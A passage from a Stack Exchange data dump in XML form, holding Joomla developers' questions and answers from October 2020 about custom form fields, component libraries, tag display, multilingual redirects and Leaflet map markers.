print_r($pks);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This function prints the IDs of the selected records, but I don't know how to proceed from here so that I could get the email-field-values of those respective records.&lt;/p&gt;&#xA;" OwnerUserId="14581" LastEditorUserId="12352" LastEditDate="2020-10-12T04:31:18.963" LastActivityDate="2020-10-12T04:31:18.963" Title="Getting value from rows in admin list view" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28554" PostTypeId="1" CreationDate="2020-10-12T00:59:41.223" Score="0" ViewCount="96" Body="&lt;p&gt;Currently, I am creating multi-language pages with several type of languages.&lt;/p&gt;&#xA;&lt;p&gt;My home page is set for English. When I try to change the language from the second/third page, the others language will redirect me to the index page of each language and not at the particular page I want.&lt;/p&gt;&#xA;&lt;p&gt;p/s: I am using Joomla version, 3.9.22.&lt;/p&gt;&#xA;" OwnerUserId="14582" LastEditorUserId="12352" LastEditDate="2020-10-12T04:34:32.743" LastActivityDate="2024-02-28T05:07:35.840" Title="How to change language in specific page using Joomla" Tags="|redirect|multilingual|joomla-3.9|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28555" PostTypeId="2" ParentId="28536" CreationDate="2020-10-12T07:12:57.680" Score="0" Body="&lt;p&gt;This template allows you to output as blank:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Lyquix/tpl_lyquix/blob/2.x/custom.dist.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Lyquix/tpl_lyquix/blob/2.x/custom.dist.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you look at the &lt;strong&gt;tmpl_mode&lt;/strong&gt; option for clues.&lt;/p&gt;&#xA;&lt;p&gt;Also - this code could perhaps work in identifying the component (com_ajax) in your index.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//ECHO COMPONENT TYPE ()&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;&#xA;&#xA;if(($jinput-&amp;gt;get('option') == 'com_ajax')  &amp;amp;&amp;amp; ($app-&amp;gt;getTemplate('template')-&amp;gt;id == 1)) {&#xA;  //load com_ajax CSS &#xA;echo 'load com_ajax CSS';&#xA;&#xA; } else {&#xA;&#xA;echo 'load normal CSS';&#xA;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="3485" LastEditDate="2020-10-12T07:25:59.847" LastActivityDate="2020-10-12T07:25:59.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28556" PostTypeId="1" CreationDate="2020-10-12T14:18:25.100" Score="0" ViewCount="37" Body="&lt;p&gt;I would like to assign a specific template for a certain category, I have tried with this code in a plugin system but without success (this code does not include the condition for the category I will do it afterwards.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;class templateSwitcherCategory extends JPlugin&#xA;{&#xA;    &#xA;    public function __construct(&amp;amp;$subject, $config)&#xA;    {&#xA;        // Calling the parent Constructor&#xA;        parent::__construct($subject, $config);&#xA;&#xA;        // Do some extra initialisation in this constructor if required&#xA;    }&#xA;&#xA;    &#xA;    public function onAfterInitialise()&#xA;    {&#xA;        $app      = JFactory::getApplication();&#xA;        $app-&amp;gt;setTemplate('protostar', null);       &#xA;        return true;&#xA;    }       &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14584" LastActivityDate="2020-10-12T14:18:25.100" Title="Assign a template to a category with a plugin system and onAfterInitialise event" Tags="|php|joomla-api|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28558" PostTypeId="1" CreationDate="2020-10-12T17:28:29.460" Score="1" ViewCount="116" Body="&lt;p&gt;Lets say my component is called dumbo. It contains all kind of MVC stuff and works well.&#xA;Now i have a second component that is called jumbo. I need both components to share some models, controllers and views (and other stuff) from a central library.&lt;/p&gt;&#xA;&lt;p&gt;Of course this is helpful regarding that question:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_own_library_in_your_extensions/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_own_library_in_your_extensions/en&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But it seams i have done something wrong.&lt;/p&gt;&#xA;&lt;p&gt;I have setup a namespace loader:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::registerNamespace('Mylib',  JPATH_LIBRARIES  . '/mylib');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here comes an example model and view from the central library that dumbo and jumbo should share and use:&lt;/p&gt;&#xA;&lt;p&gt;Directory the model is in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.\libraries\mylib\listings\model.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The model itself:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\MVC\Model\ListModel;  &#xA;&#xA;class MylibListingsModel extends ListModel&#xA;{&#xA;    public function __construct($config = array())&#xA;    {&#xA;        echo &amp;quot;lib model&amp;quot;;&#xA;        parent::__construct($config); &#xA;    }&#xA;&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Directory the view is in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.\libraries\mylib\listings\view.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The view itself:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Toolbar\Toolbar;&#xA;use Joomla\CMS\Toolbar\ToolbarHelper;&#xA;&#xA;class MylibListingsView extends JViewLegacy&#xA;{&#xA;    protected $items;&#xA;    protected $pagination;&#xA;    protected $state;&#xA;&#xA;    public function display($tpl = null) &#xA;    {&#xA;        echo &amp;quot;lib view&amp;quot;;&#xA;        parent::display($tpl); &#xA;    }&#xA;&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When calling the listings view from the dumbo component like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.1/dumbo/administrator/index.php?option=com_dumbo&amp;amp;view=listings&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The library structures are not found &lt;code&gt;(View not found [Name, Typ, Präfix]: listings, html, dumboView)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also added the &lt;code&gt;JLoader::registerPrefix('Mylib', dirname(__FILE__));&lt;/code&gt; into a system plugin (onAfterInitialise Event) without luck.&lt;/p&gt;&#xA;&lt;p&gt;What am i missing? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2020-10-15T07:57:27.110" Title="Sharing a MVC resources library between two components" Tags="|component|custom-component|mvc|libraries|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28559" PostTypeId="2" ParentId="28531" CreationDate="2020-10-12T19:57:14.800" Score="1" Body="&lt;p&gt;I found a solution.&#xA;I need to set the symlinks in the container. I posted it here in more detail: &lt;a href=&quot;https://github.com/Digital-Peak/DPDocker/pull/10&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Digital-Peak/DPDocker/pull/10&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7387" LastEditorUserId="7387" LastEditDate="2020-10-14T06:15:46.767" LastActivityDate="2020-10-14T06:15:46.767" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28560" PostTypeId="1" AcceptedAnswerId="28561" CreationDate="2020-10-13T09:50:39.297" Score="2" ViewCount="226" Body="&lt;p&gt;I've copied the instructions here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/24057/how-to-add-css-js-an-image-to-a-module-backend/24058?noredirect=1#comment36941_24058&quot;&gt;How to add CSS/JS/an Image to a module backend&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;modulename.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;basic&amp;quot; addfieldpath=&amp;quot;/modules/mod_joomla4_module_custom_form_fields/fields&amp;quot;&amp;gt;&#xA;            ~&#xA;            &amp;lt;field&#xA;                    name=&amp;quot;myjavascript&amp;quot;&#xA;                    type=&amp;quot;myjavascript&amp;quot;&#xA;                    label=&amp;quot;My Javascript&amp;quot;&#xA;                    description=&amp;quot;JFIELD_TITLE_DESC&amp;quot;&#xA;            /&amp;gt;&#xA;            ~&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;models/fields/fields.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;field&#xA;        name=&amp;quot;myjavascript&amp;quot;&#xA;        type=&amp;quot;myjavascript&amp;quot;&#xA;        label=&amp;quot;JGLOBAL_TITLE&amp;quot;&#xA;        description=&amp;quot;JFIELD_TITLE_DESC&amp;quot;&#xA;        required=&amp;quot;true&amp;quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;models/forms/myjavascript.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    // Check to ensure this file is included in Joomla!&#xA;    defined('_JEXEC') or die('Restricted access');&#xA;    &#xA;    use Joomla\CMS\HTML\HTMLHelper;&#xA;    &#xA;    class JFormFieldMyjavascript extends Joomla\CMS\Form\FormField&#xA;    {&#xA;    &#xA;        protected $type = 'Myjavascript';&#xA;    &#xA;        protected function getLabel()&#xA;        {&#xA;            return;&#xA;        }&#xA;    &#xA;        protected function getInput()&#xA;        {&#xA;            // Custom JS&#xA;            HTMLHelper::_('script', 'media/mod_joomla4_module_custom_form_fields/mod_joomla4_module_custom_form_fields_backend.js', ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true]);&#xA;    &#xA;            // Custom CSS&#xA;            HTMLHelper::_('stylesheet', 'media/mod_joomla4_module_custom_form_fields/mod_joomla4_module_custom_form_fields_backend.css', ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true]);&#xA;    &#xA;            // Custom HTML&#xA;            $html = '&amp;lt;p&amp;gt;Hello, is it me you\'re waiting for&amp;lt;/p&amp;gt;';&#xA;    &#xA;            return $html;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;media/js/myjavascript.js&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;window.event(&amp;quot;domready&amp;quot;, function() {&#xA;    alert(&amp;quot;An inline JavaScript Declaration&amp;quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;media/css/myjavascript.css&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.card-body h2 {&#xA;    font-family: &amp;quot;Comic Sans MS&amp;quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-10-14T14:41:49.317" Title="I'm trying to make a custom form field to show CSS and JS but I can't get it work" Tags="|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28561" PostTypeId="2" ParentId="28560" CreationDate="2020-10-13T11:38:37.957" Score="1" Body="&lt;p&gt;You haven't set the path's correctly for the HTMLHelper calls. You're using &lt;code&gt;relative =&amp;gt; true&lt;/code&gt;, which means the &lt;code&gt;media&lt;/code&gt; and &lt;code&gt;js/css&lt;/code&gt; are not required in the path.&lt;/p&gt;&#xA;&lt;p&gt;So you'll want to use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// JS&#xA;HTMLHelper::_('script', 'mod_joomla4_module_custom_form_fields/mod_joomla4_module_custom_form_fields_backend.js', ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true]);&#xA;    &#xA;// CSS&#xA;HTMLHelper::_('stylesheet', 'mod_joomla4_module_custom_form_fields/mod_joomla4_module_custom_form_fields_backend.css', ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As for the actual Javascript, &lt;code&gt;window.event&lt;/code&gt; will throw an error, so I'd suggest using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;document.addEventListener('DOMContentLoaded', () =&amp;gt; {&#xA;    alert('The DOM has loaded')&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;You're setting the following path for your field:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;addfieldpath=&amp;quot;/modules/mod_joomla4_module_custom_form_fields/fields&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However the actual file resides in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;models/forms/myjavascript.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so you need to add the file to the path you've defined for the &lt;code&gt;addfieldpath&lt;/code&gt; attribute.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2020-10-14T14:41:49.317" LastActivityDate="2020-10-14T14:41:49.317" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="28562" PostTypeId="1" CreationDate="2020-10-13T21:37:30.610" Score="1" ViewCount="241" Body="&lt;p&gt;i need to show items tags into class of this item in category blog view.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lIsvL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lIsvL.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This blog_item.php doesnt show items tags:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;$params = $this-&amp;gt;item-&amp;gt;params;&#xA;JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');&#xA;$canEdit = $this-&amp;gt;item-&amp;gt;params-&amp;gt;get('access-edit');&#xA;$info    = $params-&amp;gt;get('info_block_position', 0);&#xA;$assocParam = (JLanguageAssociations::isEnabled() &amp;amp;&amp;amp; $params-&amp;gt;get('show_associations'));&#xA;?&amp;gt;&#xA;&amp;lt;div class=&amp;quot;realizace_box &amp;lt;?php echo JLayoutHelper::render('joomla.content.tags', $this-&amp;gt;item-&amp;gt;tags-&amp;gt;itemTags); ?&amp;gt;&amp;quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a class=&amp;quot;realizace_link&amp;quot; href=&amp;quot;&amp;lt;?php echo JRoute::_(ContentHelperRoute::getArticleRoute($this-&amp;gt;item-&amp;gt;slug, $this-&amp;gt;item-&amp;gt;catid, $this-&amp;gt;item-&amp;gt;language)); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;item-&amp;gt;title); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;a class=&amp;quot;realizace_link_img&amp;quot; href=&amp;quot;&amp;lt;?php echo JRoute::_(ContentHelperRoute::getArticleRoute($this-&amp;gt;item-&amp;gt;slug, $this-&amp;gt;item-&amp;gt;catid, $this-&amp;gt;item-&amp;gt;language)); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo JLayoutHelper::render('joomla.content.intro_image', $this-&amp;gt;item); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Somebody know why?&lt;/p&gt;&#xA;" OwnerUserId="14586" LastActivityDate="2021-07-12T21:07:15.697" Title="How to show tags of item in category blog view item class" Tags="|tags|category-blog|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28563" PostTypeId="2" ParentId="28562" CreationDate="2020-10-14T05:17:31.253" Score="1" Body="&lt;p&gt;There are a variety of possibilities of why it's not doing what you want.&#xA;If you haven't overridden the tag layout then I presume that your template override is not working because if it was then you would see a linked ul list invalidating your html.&lt;/p&gt;&#xA;&lt;p&gt;If you have changed the tag layout then the problem might be there.  Either way then following should hopefully help you debug your problem.&lt;/p&gt;&#xA;&lt;p&gt;Your blog_item.php should be at:&#xA;/templates/yourtemplate/html/com_content/category/blog_item.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    // This will show you the raw values in the tags&#xA;    echo '&amp;lt;pre&amp;gt;' . print_r($this-&amp;gt;item-&amp;gt;tags-&amp;gt;itemTags,1) . '&amp;lt;/pre&amp;gt;';&#xA;&#xA;    // This will render a list default formatted: ul &amp;gt; li &amp;gt; a &#xA;    echo JLayoutHelper::render('joomla.content.tags', $this-&amp;gt;item-&amp;gt;tags-&amp;gt;itemTags);&#xA;&#xA;    // This will extract the aliases which should be safe to use as classes&#xA;    $tags = [];&#xA;    foreach ($this-&amp;gt;item-&amp;gt;tags-&amp;gt;itemTags as $tag) {&#xA;        $tags[] = $tag-&amp;gt;alias;&#xA;    }&#xA;&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;realizace_box &amp;lt;?php echo implode(' ',$tags); ?&amp;gt;&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2020-10-14T05:17:31.253" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28564" PostTypeId="1" AcceptedAnswerId="28607" CreationDate="2020-10-15T04:14:28.210" Score="0" ViewCount="90" Body="&lt;p&gt;I am working on a project and I want to remove the markers from a leaflet map that were added to the map previously.&lt;/p&gt;&#xA;&lt;p&gt;The problem is that when I want to remove the markers that were added to the map, instead of removing the markers, they are added every time when the function is called over and over again and the old markers are not removed from the map. The function in which the markers are added is a function in which I want to update the markers with the new positions on the map, deleting the old positions of the markers just before adding the new positions. The function uses ajax to position the markers on the map.&lt;/p&gt;&#xA;&lt;p&gt;Here is the function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function updateVehiclePositions()&#xA;{&#xA;    var activeInfoWindow;&#xA;    var InfoWindow;&#xA;    for (var i in vehicles)&#xA;    {&#xA;        vehicles[i].remove();&#xA;    }&#xA;&#xA;    var siteurlvehicles = &amp;quot;&amp;lt;?php echo JURI::root(); ?&amp;gt;&amp;quot;; &#xA;&#xA;    var pageUrl = &amp;quot;http://site-otl-joomla/index.php/ro/allcategories-ro-ro/uncategorised/3n/templates/protostar/php&amp;quot;;&#xA;&#xA;    pageFinalUrl = pageUrl.replace(pageUrl, siteurlvehicles);&#xA;&#xA;    $.ajax({ &#xA;        type: &amp;quot;POST&amp;quot;,&#xA;        url: pageFinalUrl + &amp;quot;templates/protostar/php/get_vehicles_xml.php?line=&amp;lt;?php echo $line; ?&amp;gt;&amp;quot;,&#xA;        success: function(vehicles) {&#xA;&#xA;            vehicles = JSON.parse(vehicles);&#xA;&#xA;            for (var i = 0; i &amp;lt; vehicles.length; i++) {&#xA;&#xA;                var icon = vehicles[i].icon;&#xA;&#xA;                var iconUrl = &amp;quot;http://site-otl-joomla/index.php/ro/allcategories-ro-ro/uncategorised/3n/templates/protostar/php/img/&amp;quot; + icon;&#xA;&#xA;                iconFinalUrl = iconUrl.replace(iconUrl, siteurlvehicles + &amp;quot;templates/protostar/php/img/&amp;quot; + icon);&#xA;&#xA;                var image = new L.icon({&#xA;                    iconUrl: iconFinalUrl,&#xA;                    iconSize: [16, 16],&#xA;                    iconAnchor: [8, 8],&#xA;                    popupAnchor: [8, 8]&#xA;                });&#xA;&#xA;                var latLng = L.latLng(vehicles[i].lat, vehicles[i].lng);&#xA;&#xA;                var title = vehicles[i].title;&#xA;                var vehicleId = vehicles[i].vehicleid;&#xA;&#xA;                vehicles[vehicleId] = createVehicle(latLng, image, i, title);&#xA;&#xA;                if(vehicles[vehicleId]) { &#xA;                    globalMap.removeLayer(vehicles[vehicleId]);&#xA;&#xA;                    console.log(vehicles[vehicleId]);&#xA;&#xA;                }&#xA;&#xA;                vehicles[vehicleId].addTo(globalMap); &#xA;                console.log(vehicles[vehicleId]);  &#xA;                delete image;&#xA;            }&#xA;        }&#xA;    });&#xA;&#xA;    setTimeout(function() { updateVehiclePositions(); }, 20000);  &#xA;}&#xA;&#xA;function createVehicle(point, image, number, title) {&#xA;&#xA;    var activeInfoWindow;&#xA;    var InfoWindow;&#xA;&#xA;    var marker = new L.Marker(point, {icon:image});&#xA;&#xA;    marker.value = number;&#xA;    marker.on(&amp;quot;click&amp;quot;, function() {&#xA;        var myHTML = title;&#xA;        if (activeInfoWindow) { activeInfoWindow.close(); }&#xA;        var infoWindow = L.popup()&#xA;            .setLatLng(point)&#xA;            .setContent(myHTML)&#xA;            .openOn(globalMap);&#xA;        activeInfoWindow = InfoWindow;&#xA;    });&#xA;&#xA;    return marker;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can you help me with the problem that I have? Where is the mistake in my code?&lt;/p&gt;&#xA;" OwnerUserId="14589" LastEditorUserId="12352" LastEditDate="2020-10-15T10:29:55.450" LastActivityDate="2020-10-29T10:49:22.127" Title="Leaflet markers in joomla are not removed" Tags="|php|ajax|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28565" PostTypeId="1" CreationDate="2020-10-15T06:08:11.387" Score="0" ViewCount="29" Body="&lt;p&gt;When I install the module from Joomla administrator end, I found that many empty lines were added to PHP and CSS code files between each line.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;p&gt;Original:&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Line1&#xA;Line2&#xA;Line3&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;After uploading to joomla,&lt;/p&gt;&#xA;&lt;p&gt;Line1&lt;/p&gt;&#xA;&lt;p&gt;Line2&lt;/p&gt;&#xA;&lt;p&gt;Line3&lt;/p&gt;&#xA;" OwnerUserId="14590" LastEditorUserId="12352" LastEditDate="2020-10-15T10:19:59.153" LastActivityDate="2020-11-14T11:00:15.053" Title="Empty lines were added to PHP and CSS code files between each line" Tags="|joomla-3.x|module|administrator|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28566" PostTypeId="2" ParentId="28558" CreationDate="2020-10-15T07:57:27.110" Score="1" Body="&lt;p&gt;First of all, you're using different file structure and class naming conventions than Joomla! core. This won't work without rewriting related methods such as controller's &lt;code&gt;getView()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That said, using standard naming conventions, I was able to get this to work by setting &lt;code&gt;base_path&lt;/code&gt; option when fetching the controller in component's entry file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$controller = JControllerLegacy::getInstance('Mylib', ['base_path' =&amp;gt; JPATH_LIBRARIES . '/mylib']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This loads the main controller named &lt;code&gt;MylibController&lt;/code&gt; and located in &lt;code&gt;libraries/mylib/controller.php&lt;/code&gt;. Models and views are then loaded correctly from within the component.&lt;/p&gt;&#xA;&lt;p&gt;However, there could be many issues using a library like this. For instance, if it contains controllers extending from &lt;code&gt;Joomla\CMS\MVC\Controller\FormController&lt;/code&gt;, you must set &lt;code&gt;$option&lt;/code&gt; property to the name of the component currently being used (e.g. &lt;code&gt;com_dumbo&lt;/code&gt;, you can get this from the input). Otherwise, library prefix &lt;code&gt;mylib&lt;/code&gt; will be used to build redirect links which results in broken links.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-10-15T07:57:27.110" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28568" PostTypeId="2" ParentId="28565" CreationDate="2020-10-15T08:53:53.507" Score="1" Body="&lt;p&gt;Zhang,&lt;/p&gt;&#xA;&lt;p&gt;Welcome to Joomla Stack Exchange!&lt;/p&gt;&#xA;&lt;p&gt;It's as simple as \r\n vs \n - text files deal with differently encoded line breaks depending on where you view them. The reverse can happen when you download a file and open it in various programs, and you'll find what was closed up online is double spaced in the editor.&lt;/p&gt;&#xA;&lt;p&gt;Because each OS have different ASCII chars for linebreak, the combinations give different results when viewed on other platforms:&#xA;windows = \r\n&#xA;unix = \n&#xA;mac = \r&lt;/p&gt;&#xA;&lt;p&gt;It comes down to which editor the creator of the module used to create their files.&lt;/p&gt;&#xA;&lt;p&gt;It doesn't cause any harm aside from readability.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2020-10-15T08:53:53.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28569" PostTypeId="2" ParentId="28564" CreationDate="2020-10-15T12:48:07.530" Score="0" Body="&lt;p&gt;I suspect it's a problem with the scope of the variable &lt;code&gt;vehicles&lt;/code&gt; which you seem to be using as a global variable and also as the parameter to your function which is called on success of the ajax call.&lt;/p&gt;&#xA;&lt;p&gt;Try replacing the lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;success: function(vehicles) {&#xA;&#xA;            vehicles = JSON.parse(vehicles);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;success: function(vehicleList) {&#xA;&#xA;            vehicles = JSON.parse(vehicleList);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&lt;p&gt;The other problem I think is with your code at&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for (var i in vehicles)&#xA;{&#xA;    vehicles[i].remove();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is iterating over the properties of the &lt;code&gt;vehicles&lt;/code&gt; object, and I don't think that that will be the same as iterating through the &lt;code&gt;vehicles&lt;/code&gt; array. Try replacing this with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for (var i = 0; i &amp;lt; vehicles.length; i++) {&#xA;    vehicles[i].remove();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also you can do a &lt;code&gt;console.log(vehicles)&lt;/code&gt; just above these lines to confirm that this variable holds what you expect.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2020-10-16T07:52:47.313" LastActivityDate="2020-10-16T07:52:47.313" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="28570" PostTypeId="1" CreationDate="2020-10-15T15:28:45.170" Score="0" ViewCount="101" Body="&lt;p&gt;I am currently creating a custom field plugin for Joomla! I am now faced with the task / problem that the user needs more than just one field when adding the information. In detail it is so that it is a map plugin and the user can enter the coordinates in a field and set the label and the description (field type text &amp;amp; textarea) for the marker popup. So my plugin should not only be able to output one field type text in the backend but two text fields and a textarea.&lt;/p&gt;&#xA;&lt;p&gt;I already tried to generate the fields and return them comma-separated or in an array (hoping this application scenario exists) which unfortunately failed.&lt;/p&gt;&#xA;&lt;p&gt;most of the work for this plugin is done but is there a way to have multiple fields rendered?&#xA;i know it is a custom field plugin not a custom field&lt;strong&gt;s&lt;/strong&gt; plugin, but maybe...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class PlgFieldsPluginName extends FieldsPlugin{&#xA;protected $hint = '46.856112,9.517915';&#xA;&#xA;public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)&#xA;{&#xA;    $coordsField = parent::onCustomFieldsPrepareDom($field, $parent, $form);&#xA;    if (!$coordsField)&#xA;    {&#xA;        return $coordsField;&#xA;    };&#xA;&#xA;    $coordsField-&amp;gt;setAttribute('hint', $this-&amp;gt;hint);&#xA;    $coordsField-&amp;gt;setAttribute('description', JText::_('NX_BINGMP_VALUE_DESC'));&#xA;    &#xA;&#xA;    return $coordsField;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As a completion: I am talking effectively about the area when you enter  data in an article field. Not about the plugin parameters or the field parameters that are solved via XML.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;As mentioned in the comments I tried to extend the Subbform Field. Unfortunately this leads to the following error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;     0 Class 'JFormFieldSubform' not found &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Code adjusted as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected $hint = '46.856112,9.517915';&#xA;&#xA;public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)&#xA;{&#xA;    $coordsField = parent::onCustomFieldsPrepareDom($field, $parent, $form);&#xA;    if (!$coordsField)&#xA;    {&#xA;        return $coordsField;&#xA;    };&#xA;&#xA;    $coordsField-&amp;gt;setAttribute('repeatable', 